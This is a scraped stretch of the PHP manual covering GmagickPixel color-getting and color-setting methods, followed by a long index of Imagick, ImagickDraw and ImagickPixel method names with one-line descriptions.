Returns the color count as an integer on success, throws GmagickPixelException on failure.

User Contributed Notes

There are no user contributed notes for this page.


Gets the normalized value of the provided color channel

  • ? GmagickPixel::getcolorcount
  • GmagickPixel::setcolor ?
  • PHP Manual
  • GmagickPixel
  • Gets the normalized value of the provided color channel

GmagickPixel::getcolorvalue

(PECL gmagick >= Unknown)

GmagickPixel::getcolorvalue — Gets the normalized value of the provided color channel

说明

public GmagickPixel::getcolorvalue(int $color): float

Retrieves the value of the color channel specified, as a floating-point number between 0 and 1.

参数

color

The channel to check, specified as one of the Gmagick channel constants.

返回值

The value of the channel, as a normalized floating-point number, throwing GmagickPixelException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the color

  • ? GmagickPixel::getcolorvalue
  • GmagickPixel::setcolorvalue ?
  • PHP Manual
  • GmagickPixel
  • Sets the color

GmagickPixel::setcolor

(PECL gmagick >= Unknown)

GmagickPixel::setcolor — Sets the color

说明

public GmagickPixel::setcolor(string $color): GmagickPixel

Sets the color described by the GmagickPixel object, with a string (e.g. "blue", "#0000ff", "rgb(0,0,255)", "cmyk(100,100,100,10)", etc.).

参数

color

The color definition to use in order to initialise the GmagickPixel object.

返回值

The GmagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the normalized value of one of the channels

  • ? GmagickPixel::setcolor
  • ImageMagick ?
  • PHP Manual
  • GmagickPixel
  • Sets the normalized value of one of the channels

GmagickPixel::setcolorvalue

(PECL gmagick >= Unknown)

GmagickPixel::setcolorvalue — Sets the normalized value of one of the channels

说明

public GmagickPixel::setcolorvalue(int $color, float $value): GmagickPixel

Sets the value of the specified channel of this object to the provided value, which should be between 0 and 1. This function can be used to provide an opacity channel to a GmagickPixel object.

参数

color

One of the Gmagick channel color constants.

value

The value to set this channel to, ranging from 0 to 1.

返回值

The GmagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


图像处理(ImageMagick)

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Basic usage
  • Imagick — The Imagick class
    • Imagick::adaptiveBlurImage — Adds adaptive blur filter to image
    • Imagick::adaptiveResizeImage — Adaptively resize image with data dependent triangulation
    • Imagick::adaptiveSharpenImage — Adaptively sharpen the image
    • Imagick::adaptiveThresholdImage — Selects a threshold for each pixel based on a range of intensity
    • Imagick::addImage — Adds new image to Imagick object image list
    • Imagick::addNoiseImage — Adds random noise to the image
    • Imagick::affineTransformImage — Transforms an image
    • Imagick::animateImages — Animates an image or images
    • Imagick::annotateImage — Annotates an image with text
    • Imagick::appendImages — Append a set of images
    • Imagick::autoLevelImage — Adjusts the levels of a particular image channel
    • Imagick::averageImages — Average a set of images
    • Imagick::blackThresholdImage — Forces all pixels below the threshold into black
    • Imagick::blueShiftImage — Mutes the colors of the image
    • Imagick::blurImage — Adds blur filter to image
    • Imagick::borderImage — Surrounds the image with a border
    • Imagick::brightnessContrastImage — Change the brightness and/or contrast of an image
    • Imagick::charcoalImage — Simulates a charcoal drawing
    • Imagick::chopImage — Removes a region of an image and trims
    • Imagick::clampImage — Restricts the color range from 0 to the quantum depth.
    • Imagick::clear — Clears all resources associated to Imagick object
    • Imagick::clipImage — Clips along the first path from the 8BIM profile
    • Imagick::clipImagePath — Clips along the named paths from the 8BIM profile, if present
    • Imagick::clipPathImage — Clips along the named paths from the 8BIM profile
    • Imagick::clone — Makes an exact copy of the Imagick object
    • Imagick::clutImage — Replaces colors in the image
    • Imagick::coalesceImages — Composites a set of images
    • Imagick::colorFloodfillImage — Changes the color value of any pixel that matches target
    • Imagick::colorizeImage — Blends the fill color with the image
    • Imagick::colorMatrixImage — Apply color transformation to an image
    • Imagick::combineImages — Combines one or more images into a single image
    • Imagick::commentImage — Adds a comment to your image
    • Imagick::compareImageChannels — Returns the difference in one or more images
    • Imagick::compareImageLayers — Returns the maximum bounding region between images
    • Imagick::compareImages — Compares an image to a reconstructed image
    • Imagick::compositeImage — 把一张图合并到一张图
    • Imagick::__construct — The Imagick constructor
    • Imagick::contrastImage — Change the contrast of the image
    • Imagick::contrastStretchImage — Enhances the contrast of a color image
    • Imagick::convolveImage — Applies a custom convolution kernel to the image
    • Imagick::count — Get the number of images
    • Imagick::cropImage — 截图图片的一块区域
    • Imagick::cropThumbnailImage — 创建缩略图
    • Imagick::current — Returns a reference to the current Imagick object
    • Imagick::cycleColormapImage — Displaces an image's colormap
    • Imagick::decipherImage — Deciphers an image
    • Imagick::deconstructImages — Returns certain pixel differences between images
    • Imagick::deleteImageArtifact — Delete image artifact
    • Imagick::deleteImageProperty — Deletes an image property
    • Imagick::deskewImage — Removes skew from the image
    • Imagick::despeckleImage — Reduces the speckle noise in an image
    • Imagick::destroy — Destroys the Imagick object
    • Imagick::displayImage — Displays an image
    • Imagick::displayImages — Displays an image or image sequence
    • Imagick::distortImage — Distorts an image using various distortion methods
    • Imagick::drawImage — 把 ImagickDraw 对象渲染到当前图片上
    • Imagick::edgeImage — Enhance edges within the image
    • Imagick::embossImage — Returns a grayscale image with a three-dimensional effect
    • Imagick::encipherImage — Enciphers an image
    • Imagick::enhanceImage — Improves the quality of a noisy image
    • Imagick::equalizeImage — Equalizes the image histogram
    • Imagick::evaluateImage — Applies an expression to an image
    • Imagick::exportImagePixels — Exports raw image pixels
    • Imagick::extentImage — Set image size
    • Imagick::filter — Applies a custom convolution kernel to the image
    • Imagick::flattenImages — Merges a sequence of images
    • Imagick::flipImage — Creates a vertical mirror image
    • Imagick::floodFillPaintImage — Changes the color value of any pixel that matches target
    • Imagick::flopImage — Creates a horizontal mirror image
    • Imagick::forwardFourierTransformImage — Implements the discrete Fourier transform (DFT)
    • Imagick::frameImage — Adds a simulated three-dimensional border
    • Imagick::functionImage — Applies a function on the image
    • Imagick::fxImage — Evaluate expression for each pixel in the image
    • Imagick::gammaImage — Gamma-corrects an image
    • Imagick::gaussianBlurImage — Blurs an image
    • Imagick::getColorspace — Gets the colorspace
    • Imagick::getCompression — Gets the object compression type
    • Imagick::getCompressionQuality — Gets the object compression quality
    • Imagick::getCopyright — Returns the ImageMagick API copyright as a string
    • Imagick::getFilename — The filename associated with an image sequence
    • Imagick::getFont — Gets font
    • Imagick::getFormat — Returns the format of the Imagick object
    • Imagick::getGravity — Gets the gravity
    • Imagick::getHomeURL — Returns the ImageMagick home URL
    • Imagick::getImage — Returns a new Imagick object
    • Imagick::getImageAlphaChannel — 检查图像是否有 alpha 通道
    • Imagick::getImageArtifact — Get image artifact
    • Imagick::getImageAttribute — Returns a named attribute
    • Imagick::getImageBackgroundColor — Returns the image background color
    • Imagick::getImageBlob — Returns the image sequence as a blob
    • Imagick::getImageBluePrimary — Returns the chromaticy blue primary point
    • Imagick::getImageBorderColor — Returns the image border color
    • Imagick::getImageChannelDepth — Gets the depth for a particular image channel
    • Imagick::getImageChannelDistortion — Compares image channels of an image to a reconstructed image
    • Imagick::getImageChannelDistortions — Gets channel distortions
    • Imagick::getImageChannelExtrema — Gets the extrema for one or more image channels
    • Imagick::getImageChannelKurtosis — The getImageChannelKurtosis purpose
    • Imagick::getImageChannelMean — Gets the mean and standard deviation
    • Imagick::getImageChannelRange — Gets channel range
    • Imagick::getImageChannelStatistics — Returns statistics for each channel in the image
    • Imagick::getImageClipMask — Gets image clip mask
    • Imagick::getImageColormapColor — Returns the color of the specified colormap index
    • Imagick::getImageColors — Gets the number of unique colors in the image
    • Imagick::getImageColorspace — Gets the image colorspace
    • Imagick::getImageCompose — Returns the composite operator associated with the image
    • Imagick::getImageCompression — Gets the current image's compression type
    • Imagick::getImageCompressionQuality — Gets the current image's compression quality
    • Imagick::getImageDelay — Gets the image delay
    • Imagick::getImageDepth — Gets the image depth
    • Imagick::getImageDispose — Gets the image disposal method
    • Imagick::getImageDistortion — Compares an image to a reconstructed image
    • Imagick::getImageExtrema — Gets the extrema for the image
    • Imagick::getImageFilename — Returns the filename of a particular image in a sequence
    • Imagick::getImageFormat — Returns the format of a particular image in a sequence
    • Imagick::getImageGamma — Gets the image gamma
    • Imagick::getImageGeometry — Gets the width and height as an associative array
    • Imagick::getImageGravity — Gets the image gravity
    • Imagick::getImageGreenPrimary — Returns the chromaticy green primary point
    • Imagick::getImageHeight — Returns the image height
    • Imagick::getImageHistogram — Gets the image histogram
    • Imagick::getImageIndex — Gets the index of the current active image
    • Imagick::getImageInterlaceScheme — Gets the image interlace scheme
    • Imagick::getImageInterpolateMethod — Returns the interpolation method
    • Imagick::getImageIterations — Gets the image iterations
    • Imagick::getImageLength — Returns the image length in bytes
    • Imagick::getImageMatte — Return if the image has a matte channel
    • Imagick::getImageMatteColor — Returns the image matte color
    • Imagick::getImageMimeType — Returns the image mime-type
    • Imagick::getImageOrientation — Gets the image orientation
    • Imagick::getImagePage — Returns the page geometry
    • Imagick::getImagePixelColor — Returns the color of the specified pixel
    • Imagick::getImageProfile — Returns the named image profile
    • Imagick::getImageProfiles — Returns the image profiles
    • Imagick::getImageProperties — Returns the image properties
    • Imagick::getImageProperty — Returns the named image property
    • Imagick::getImageRedPrimary — Returns the chromaticity red primary point
    • Imagick::getImageRegion — Extracts a region of the image
    • Imagick::getImageRenderingIntent — Gets the image rendering intent
    • Imagick::getImageResolution — 获取图像的x,y轴分辨率
    • Imagick::getImagesBlob — Returns all image sequences as a blob
    • Imagick::getImageScene — Gets the image scene
    • Imagick::getImageSignature — Generates an SHA-256 message digest
    • Imagick::getImageSize — Returns the image length in bytes
    • Imagick::getImageTicksPerSecond — Gets the image ticks-per-second
    • Imagick::getImageTotalInkDensity — Gets the image total ink density
    • Imagick::getImageType — Gets the potential image type
    • Imagick::getImageUnits — 获取图像的分辨率单位
    • Imagick::getImageVirtualPixelMethod — Returns the virtual pixel method
    • Imagick::getImageWhitePoint — Returns the chromaticity white point
    • Imagick::getImageWidth — Returns the image width
    • Imagick::getInterlaceScheme — Gets the object interlace scheme
    • Imagick::getIteratorIndex — Gets the index of the current active image
    • Imagick::getNumberImages — Returns the number of images in the object
    • Imagick::getOption — Returns a value associated with the specified key
    • Imagick::getPackageName — Returns the ImageMagick package name
    • Imagick::getPage — Returns the page geometry
    • Imagick::getPixelIterator — Returns a MagickPixelIterator
    • Imagick::getPixelRegionIterator — Get an ImagickPixelIterator for an image section
    • Imagick::getPointSize — Gets point size
    • Imagick::getQuantum — Returns the ImageMagick quantum range
    • Imagick::getQuantumDepth — Gets the quantum depth
    • Imagick::getQuantumRange — Returns the Imagick quantum range
    • Imagick::getRegistry — Get a StringRegistry entry
    • Imagick::getReleaseDate — Returns the ImageMagick release date
    • Imagick::getResource — Returns the specified resource's memory usage
    • Imagick::getResourceLimit — Returns the specified resource limit
    • Imagick::getSamplingFactors — Gets the horizontal and vertical sampling factor
    • Imagick::getSize — Returns the size associated with the Imagick object
    • Imagick::getSizeOffset — Returns the size offset
    • Imagick::getVersion — Returns the ImageMagick API version
    • Imagick::haldClutImage — Replaces colors in the image
    • Imagick::hasNextImage — Checks if the object has more images
    • Imagick::hasPreviousImage — Checks if the object has a previous image
    • Imagick::identifyFormat — Formats a string with image details
    • Imagick::identifyImage — Identifies an image and fetches attributes
    • Imagick::implodeImage — Creates a new image as a copy
    • Imagick::importImagePixels — Imports image pixels
    • Imagick::inverseFourierTransformImage — Implements the inverse discrete Fourier transform (DFT)
    • Imagick::labelImage — Adds a label to an image
    • Imagick::levelImage — Adjusts the levels of an image
    • Imagick::linearStretchImage — Stretches with saturation the image intensity
    • Imagick::liquidRescaleImage — Animates an image or images
    • Imagick::listRegistry — List all the registry settings
    • Imagick::magnifyImage — Scales an image proportionally 2x
    • Imagick::mapImage — Replaces the colors of an image with the closest color from a reference image
    • Imagick::matteFloodfillImage — Changes the transparency value of a color
    • Imagick::medianFilterImage — Applies a digital filter
    • Imagick::mergeImageLayers — Merges image layers
    • Imagick::minifyImage — Scales an image proportionally to half its size
    • Imagick::modulateImage — Control the brightness, saturation, and hue
    • Imagick::montageImage — Creates a composite image
    • Imagick::morphImages — Method morphs a set of images
    • Imagick::morphology — Applies a user supplied kernel to the image according to the given morphology method.
    • Imagick::mosaicImages — Forms a mosaic from images
    • Imagick::motionBlurImage — Simulates motion blur
    • Imagick::negateImage — Negates the colors in the reference image
    • Imagick::newImage — 创建一张图片
    • Imagick::newPseudoImage — Creates a new image
    • Imagick::nextImage — Moves to the next image
    • Imagick::normalizeImage — Enhances the contrast of a color image
    • Imagick::oilPaintImage — Simulates an oil painting
    • Imagick::opaquePaintImage — Changes the color value of any pixel that matches target
    • Imagick::optimizeImageLayers — Removes repeated portions of images to optimize
    • Imagick::orderedPosterizeImage — Performs an ordered dither
    • Imagick::paintFloodfillImage — Changes the color value of any pixel that matches target
    • Imagick::paintOpaqueImage — Change any pixel that matches color
    • Imagick::paintTransparentImage — Changes any pixel that matches color with the color defined by fill
    • Imagick::pingImage — Fetch basic attributes about the image
    • Imagick::pingImageBlob — Quickly fetch attributes
    • Imagick::pingImageFile — Get basic image attributes in a lightweight manner
    • Imagick::polaroidImage — Simulates a Polaroid picture
    • Imagick::posterizeImage — Reduces the image to a limited number of color level
    • Imagick::previewImages — Quickly pin-point appropriate parameters for image processing
    • Imagick::previousImage — Move to the previous image in the object
    • Imagick::profileImage — Adds or removes a profile from an image
    • Imagick::quantizeImage — Analyzes the colors within a reference image
    • Imagick::quantizeImages — Analyzes the colors within a sequence of images
    • Imagick::queryFontMetrics — Returns an array representing the font metrics
    • Imagick::queryFonts — Returns the configured fonts
    • Imagick::queryFormats — Returns formats supported by Imagick
    • Imagick::radialBlurImage — Radial blurs an image
    • Imagick::raiseImage — Creates a simulated 3d button-like effect
    • Imagick::randomThresholdImage — Creates a high-contrast, two-color image
    • Imagick::readImage — Reads image from filename
    • Imagick::readImageBlob — 从二进制字符串里读取图片
    • Imagick::readImageFile — Reads image from open filehandle
    • Imagick::readimages — Reads image from an array of filenames
    • Imagick::recolorImage — Recolors image
    • Imagick::reduceNoiseImage — Smooths the contours of an image
    • Imagick::remapImage — Remaps image colors
    • Imagick::removeImage — Removes an image from the image list
    • Imagick::removeImageProfile — Removes the named image profile and returns it
    • Imagick::render — Renders all preceding drawing commands
    • Imagick::resampleImage — Resample image to desired resolution
    • Imagick::resetImagePage — Reset image page
    • Imagick::resizeImage — Scales an image
    • Imagick::rollImage — Offsets an image
    • Imagick::rotateImage — Rotates an image
    • Imagick::rotationalBlurImage — Rotational blurs an image
    • Imagick::roundCorners — Rounds image corners
    • Imagick::sampleImage — Scales an image with pixel sampling
    • Imagick::scaleImage — Scales the size of an image
    • Imagick::segmentImage — Segments an image
    • Imagick::selectiveBlurImage — Selectively blur an image within a contrast threshold
    • Imagick::separateImageChannel — Separates a channel from the image
    • Imagick::sepiaToneImage — Sepia tones an image
    • Imagick::setBackgroundColor — Sets the object's default background color
    • Imagick::setColorspace — Set colorspace
    • Imagick::setCompression — Sets the object's default compression type
    • Imagick::setCompressionQuality — Sets the object's default compression quality
    • Imagick::setFilename — Sets the filename before you read or write the image
    • Imagick::setFirstIterator — Sets the Imagick iterator to the first image
    • Imagick::setFont — Sets font
    • Imagick::setFormat — Sets the format of the Imagick object
    • Imagick::setGravity — Sets the gravity
    • Imagick::setImage — Replaces image in the object
    • Imagick::setImageAlphaChannel — Sets image alpha channel
    • Imagick::setImageArtifact — Set image artifact
    • Imagick::setImageAttribute — Sets an image attribute
    • Imagick::setImageBackgroundColor — Sets the image background color
    • Imagick::setImageBias — Sets the image bias for any method that convolves an image
    • Imagick::setImageBiasQuantum — Sets the image bias
    • Imagick::setImageBluePrimary — Sets the image chromaticity blue primary point
    • Imagick::setImageBorderColor — Sets the image border color
    • Imagick::setImageChannelDepth — Sets the depth of a particular image channel
    • Imagick::setImageClipMask — Sets image clip mask
    • Imagick::setImageColormapColor — Sets the color of the specified colormap index
    • Imagick::setImageColorspace — Sets the image colorspace
    • Imagick::setImageCompose — Sets the image composite operator
    • Imagick::setImageCompression — 设置图片压缩的类型
    • Imagick::setImageCompressionQuality — 设置图片压缩的质量
    • Imagick::setImageDelay — Sets the image delay
    • Imagick::setImageDepth — Sets the image depth
    • Imagick::setImageDispose — Sets the image disposal method
    • Imagick::setImageExtent — Sets the image size
    • Imagick::setImageFilename — Sets the filename of a particular image
    • Imagick::setImageFormat — 为图片设置指定的格式
    • Imagick::setImageGamma — Sets the image gamma
    • Imagick::setImageGravity — Sets the image gravity
    • Imagick::setImageGreenPrimary — Sets the image chromaticity green primary point
    • Imagick::setImageIndex — Set the iterator position
    • Imagick::setImageInterlaceScheme — Sets the image compression
    • Imagick::setImageInterpolateMethod — Sets the image interpolate pixel method
    • Imagick::setImageIterations — Sets the image iterations
    • Imagick::setImageMatte — Sets the image matte channel
    • Imagick::setImageMatteColor — Sets the image matte color
    • Imagick::setImageOpacity — Sets the image opacity level
    • Imagick::setImageOrientation — Sets the image orientation
    • Imagick::setImagePage — Sets the page geometry of the image
    • Imagick::setImageProfile — Adds a named profile to the Imagick object
    • Imagick::setImageProperty — Sets an image property
    • Imagick::setImageRedPrimary — Sets the image chromaticity red primary point
    • Imagick::setImageRenderingIntent — Sets the image rendering intent
    • Imagick::setImageResolution — Sets the image resolution
    • Imagick::setImageScene — Sets the image scene
    • Imagick::setImageTicksPerSecond — Sets the image ticks-per-second
    • Imagick::setImageType — Sets the image type
    • Imagick::setImageUnits — Sets the image units of resolution
    • Imagick::setImageVirtualPixelMethod — Sets the image virtual pixel method
    • Imagick::setImageWhitePoint — Sets the image chromaticity white point
    • Imagick::setInterlaceScheme — Sets the image compression
    • Imagick::setIteratorIndex — Set the iterator position
    • Imagick::setLastIterator — Sets the Imagick iterator to the last image
    • Imagick::setOption — Set an option
    • Imagick::setPage — Sets the page geometry of the Imagick object
    • Imagick::setPointSize — Sets point size
    • Imagick::setProgressMonitor — Set a callback to be called during processing
    • Imagick::setRegistry — Sets the ImageMagick registry entry named key to value
    • Imagick::setResolution — Sets the image resolution
    • Imagick::setResourceLimit — Sets the limit for a particular resource
    • Imagick::setSamplingFactors — Sets the image sampling factors
    • Imagick::setSize — Sets the size of the Imagick object
    • Imagick::setSizeOffset — Sets the size and offset of the Imagick object
    • Imagick::setType — Sets the image type attribute
    • Imagick::shadeImage — Creates a 3D effect
    • Imagick::shadowImage — Simulates an image shadow
    • Imagick::sharpenImage — Sharpens an image
    • Imagick::shaveImage — Shaves pixels from the image edges
    • Imagick::shearImage — Creating a parallelogram
    • Imagick::sigmoidalContrastImage — Adjusts the contrast of an image
    • Imagick::sketchImage — Simulates a pencil sketch
    • Imagick::smushImages — Takes all images from the current image pointer to the end of the image list and smushs them
    • Imagick::solarizeImage — Applies a solarizing effect to the image
    • Imagick::sparseColorImage — Interpolates colors
    • Imagick::spliceImage — Splices a solid color into the image
    • Imagick::spreadImage — Randomly displaces each pixel in a block
    • Imagick::statisticImage — Modifies image using a statistics function
    • Imagick::steganoImage — Hides a digital watermark within the image
    • Imagick::stereoImage — Composites two images
    • Imagick::stripImage — 去掉图片的所有配置和设置
    • Imagick::subImageMatch — Searches for a subimage in the current image and returns a similarity image
    • Imagick::swirlImage — Swirls the pixels about the center of the image
    • Imagick::textureImage — Repeatedly tiles the texture image
    • Imagick::thresholdImage — Changes the value of individual pixels based on a threshold
    • Imagick::thumbnailImage — Changes the size of an image
    • Imagick::tintImage — Applies a color vector to each pixel in the image
    • Imagick::__toString — Returns the image as a string
    • Imagick::transformImage — Convenience method for setting crop size and the image geometry
    • Imagick::transformImageColorspace — Transforms an image to a new colorspace
    • Imagick::transparentPaintImage — Paints pixels transparent
    • Imagick::transposeImage — Creates a vertical mirror image
    • Imagick::transverseImage — Creates a horizontal mirror image
    • Imagick::trimImage — Remove edges from the image
    • Imagick::uniqueImageColors — Discards all but one of any pixel color
    • Imagick::unsharpMaskImage — Sharpens an image
    • Imagick::valid — Checks if the current item is valid
    • Imagick::vignetteImage — Adds vignette filter to the image
    • Imagick::waveImage — Applies wave filter to the image
    • Imagick::whiteThresholdImage — Force all pixels above the threshold into white
    • Imagick::writeImage — 把图片写入指定的文件
    • Imagick::writeImageFile — Writes an image to a filehandle
    • Imagick::writeImages — Writes an image or image sequence
    • Imagick::writeImagesFile — Writes frames to a filehandle
  • ImagickDraw — The ImagickDraw class
    • ImagickDraw::affine — Adjusts the current affine transformation matrix
    • ImagickDraw::annotation — Draws text on the image
    • ImagickDraw::arc — Draws an arc
    • ImagickDraw::bezier — Draws a bezier curve
    • ImagickDraw::circle — Draws a circle
    • ImagickDraw::clear — Clears the ImagickDraw
    • ImagickDraw::clone — Makes an exact copy of the specified ImagickDraw object
    • ImagickDraw::color — Draws color on image
    • ImagickDraw::comment — Adds a comment
    • ImagickDraw::composite — Composites an image onto the current image
    • ImagickDraw::__construct — The ImagickDraw constructor
    • ImagickDraw::destroy — Frees all associated resources
    • ImagickDraw::ellipse — Draws an ellipse on the image
    • ImagickDraw::getClipPath — Obtains the current clipping path ID
    • ImagickDraw::getClipRule — Returns the current polygon fill rule
    • ImagickDraw::getClipUnits — Returns the interpretation of clip path units
    • ImagickDraw::getFillColor — Returns the fill color
    • ImagickDraw::getFillOpacity — Returns the opacity used when drawing
    • ImagickDraw::getFillRule — Returns the fill rule
    • ImagickDraw::getFont — Returns the font
    • ImagickDraw::getFontFamily — Returns the font family
    • ImagickDraw::getFontSize — Returns the font pointsize
    • ImagickDraw::getFontStretch — Gets the font stretch to use when annotating with text
    • ImagickDraw::getFontStyle — Returns the font style
    • ImagickDraw::getFontWeight — Returns the font weight
    • ImagickDraw::getGravity — Returns the text placement gravity
    • ImagickDraw::getStrokeAntialias — Returns the current stroke antialias setting
    • ImagickDraw::getStrokeColor — Returns the color used for stroking object outlines
    • ImagickDraw::getStrokeDashArray — Returns an array representing the pattern of dashes and gaps used to stroke paths
    • ImagickDraw::getStrokeDashOffset — Returns the offset into the dash pattern to start the dash
    • ImagickDraw::getStrokeLineCap — Returns the shape to be used at the end of open subpaths when they are stroked
    • ImagickDraw::getStrokeLineJoin — Returns the shape to be used at the corners of paths when they are stroked
    • ImagickDraw::getStrokeMiterLimit — Returns the stroke miter limit
    • ImagickDraw::getStrokeOpacity — Returns the opacity of stroked object outlines
    • ImagickDraw::getStrokeWidth — Returns the width of the stroke used to draw object outlines
    • ImagickDraw::getTextAlignment — Returns the text alignment
    • ImagickDraw::getTextAntialias — Returns the current text antialias setting
    • ImagickDraw::getTextDecoration — Returns the text decoration
    • ImagickDraw::getTextEncoding — Returns the code set used for text annotations
    • ImagickDraw::getTextInterlineSpacing — Gets the text interword spacing
    • ImagickDraw::getTextInterwordSpacing — Gets the text interword spacing
    • ImagickDraw::getTextKerning — Gets the text kerning
    • ImagickDraw::getTextUnderColor — Returns the text under color
    • ImagickDraw::getVectorGraphics — Returns a string containing vector graphics
    • ImagickDraw::line — Draws a line
    • ImagickDraw::matte — Paints on the image's opacity channel
    • ImagickDraw::pathClose — Adds a path element to the current path
    • ImagickDraw::pathCurveToAbsolute — Draws a cubic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierAbsolute — Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierRelative — Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToRelative — Draws a cubic Bezier curve
    • ImagickDraw::pathCurveToSmoothAbsolute — Draws a cubic Bezier curve
    • ImagickDraw::pathCurveToSmoothRelative — Draws a cubic Bezier curve
    • ImagickDraw::pathEllipticArcAbsolute — Draws an elliptical arc
    • ImagickDraw::pathEllipticArcRelative — Draws an elliptical arc
    • ImagickDraw::pathFinish — Terminates the current path
    • ImagickDraw::pathLineToAbsolute — Draws a line path
    • ImagickDraw::pathLineToHorizontalAbsolute — Draws a horizontal line path
    • ImagickDraw::pathLineToHorizontalRelative — Draws a horizontal line
    • ImagickDraw::pathLineToRelative — Draws a line path
    • ImagickDraw::pathLineToVerticalAbsolute — Draws a vertical line
    • ImagickDraw::pathLineToVerticalRelative — Draws a vertical line path
    • ImagickDraw::pathMoveToAbsolute — Starts a new sub-path
    • ImagickDraw::pathMoveToRelative — Starts a new sub-path
    • ImagickDraw::pathStart — Declares the start of a path drawing list
    • ImagickDraw::point — Draws a point
    • ImagickDraw::polygon — Draws a polygon
    • ImagickDraw::polyline — Draws a polyline
    • ImagickDraw::pop — Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw
    • ImagickDraw::popClipPath — Terminates a clip path definition
    • ImagickDraw::popDefs — Terminates a definition list
    • ImagickDraw::popPattern — Terminates a pattern definition
    • ImagickDraw::push — Clones the current ImagickDraw and pushes it to the stack
    • ImagickDraw::pushClipPath — Starts a clip path definition
    • ImagickDraw::pushDefs — Indicates that following commands create named elements for early processing
    • ImagickDraw::pushPattern — Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern
    • ImagickDraw::rectangle — Draws a rectangle
    • ImagickDraw::render — Renders all preceding drawing commands onto the image
    • ImagickDraw::resetVectorGraphics — Resets the vector graphics
    • ImagickDraw::rotate — Applies the specified rotation to the current coordinate space
    • ImagickDraw::roundRectangle — Draws a rounded rectangle
    • ImagickDraw::scale — Adjusts the scaling factor
    • ImagickDraw::setClipPath — Associates a named clipping path with the image
    • ImagickDraw::setClipRule — Set the polygon fill rule to be used by the clipping path
    • ImagickDraw::setClipUnits — Sets the interpretation of clip path units
    • ImagickDraw::setFillAlpha — Sets the opacity to use when drawing using the fill color or fill texture
    • ImagickDraw::setFillColor — Sets the fill color to be used for drawing filled objects
    • ImagickDraw::setFillOpacity — Sets the opacity to use when drawing using the fill color or fill texture
    • ImagickDraw::setFillPatternURL — Sets the URL to use as a fill pattern for filling objects
    • ImagickDraw::setFillRule — Sets the fill rule to use while drawing polygons
    • ImagickDraw::setFont — Sets the fully-specified font to use when annotating with text
    • ImagickDraw::setFontFamily — Sets the font family to use when annotating with text
    • ImagickDraw::setFontSize — Sets the font pointsize to use when annotating with text
    • ImagickDraw::setFontStretch — Sets the font stretch to use when annotating with text
    • ImagickDraw::setFontStyle — Sets the font style to use when annotating with text
    • ImagickDraw::setFontWeight — Sets the font weight
    • ImagickDraw::setGravity — Sets the text placement gravity
    • ImagickDraw::setResolution — Sets the resolution
    • ImagickDraw::setStrokeAlpha — Specifies the opacity of stroked object outlines
    • ImagickDraw::setStrokeAntialias — Controls whether stroked outlines are antialiased
    • ImagickDraw::setStrokeColor — Sets the color used for stroking object outlines
    • ImagickDraw::setStrokeDashArray — Specifies the pattern of dashes and gaps used to stroke paths
    • ImagickDraw::setStrokeDashOffset — Specifies the offset into the dash pattern to start the dash
    • ImagickDraw::setStrokeLineCap — Specifies the shape to be used at the end of open subpaths when they are stroked
    • ImagickDraw::setStrokeLineJoin — Specifies the shape to be used at the corners of paths when they are stroked
    • ImagickDraw::setStrokeMiterLimit — Specifies the miter limit
    • ImagickDraw::setStrokeOpacity — Specifies the opacity of stroked object outlines
    • ImagickDraw::setStrokePatternURL — Sets the pattern used for stroking object outlines
    • ImagickDraw::setStrokeWidth — Sets the width of the stroke used to draw object outlines
    • ImagickDraw::setTextAlignment — Specifies a text alignment
    • ImagickDraw::setTextAntialias — Controls whether text is antialiased
    • ImagickDraw::setTextDecoration — Specifies a decoration
    • ImagickDraw::setTextEncoding — Specifies the text code set
    • ImagickDraw::setTextInterlineSpacing — Sets the text interline spacing
    • ImagickDraw::setTextInterwordSpacing — Sets the text interword spacing
    • ImagickDraw::setTextKerning — Sets the text kerning
    • ImagickDraw::setTextUnderColor — Specifies the color of a background rectangle
    • ImagickDraw::setVectorGraphics — Sets the vector graphics
    • ImagickDraw::setViewbox — Sets the overall canvas size
    • ImagickDraw::skewX — Skews the current coordinate system in the horizontal direction
    • ImagickDraw::skewY — Skews the current coordinate system in the vertical direction
    • ImagickDraw::translate — Applies a translation to the current coordinate system
  • ImagickPixel — The ImagickPixel class
    • ImagickPixel::clear — Clears resources associated with this object
    • ImagickPixel::__construct — The ImagickPixel constructor
    • ImagickPixel::destroy — Deallocates resources associated with this object
    • ImagickPixel::getColor — Returns the color
    • ImagickPixel::getColorAsString — Returns the color as a string
    • ImagickPixel::getColorCount — Returns the color count associated with this color
    • ImagickPixel::getColorQuantum — Returns the color of the pixel in an array as Quantum values
    • ImagickPixel::getColorValue — Gets the normalized value of the provided color channel
    • ImagickPixel::getColorValueQuantum — Gets the quantum value of a color in the ImagickPixel
    • ImagickPixel::getHSL — Returns the normalized HSL color of the ImagickPixel object
    • ImagickPixel::getIndex — Gets the colormap index of the pixel wand
    • ImagickPixel::isPixelSimilar — Check the distance between this color and another
    • ImagickPixel::isPixelSimilarQuantum — Returns whether two colors differ by less than the specified distance
    • ImagickPixel::isSimilar — Check the distance between this color and another
    • ImagickPixel::setColor — Sets the color
    • ImagickPixel::setColorCount — Sets the color count associated with this color
    • ImagickPixel::setColorValue — Sets the normalized value of one of the channels
    • ImagickPixel::setColorValueQuantum — Sets the quantum value of a color element of the ImagickPixel
    • ImagickPixel::setHSL — Sets the normalized HSL color
    • ImagickPixel::setIndex — Sets the colormap index of the pixel wand
  • ImagickPixelIterator — The ImagickPixelIterator class
    • ImagickPixelIterator::clear — Clear resources associated with a PixelIterator
    • ImagickPixelIterator::__construct — The ImagickPixelIterator constructor
    • ImagickPixelIterator::destroy — Deallocates resources associated with a PixelIterator
    • ImagickPixelIterator::getCurrentIteratorRow — Returns the current row of ImagickPixel objects
    • ImagickPixelIterator::getIteratorRow — Returns the current pixel iterator row
    • ImagickPixelIterator::getNextIteratorRow — Returns the next row of the pixel iterator
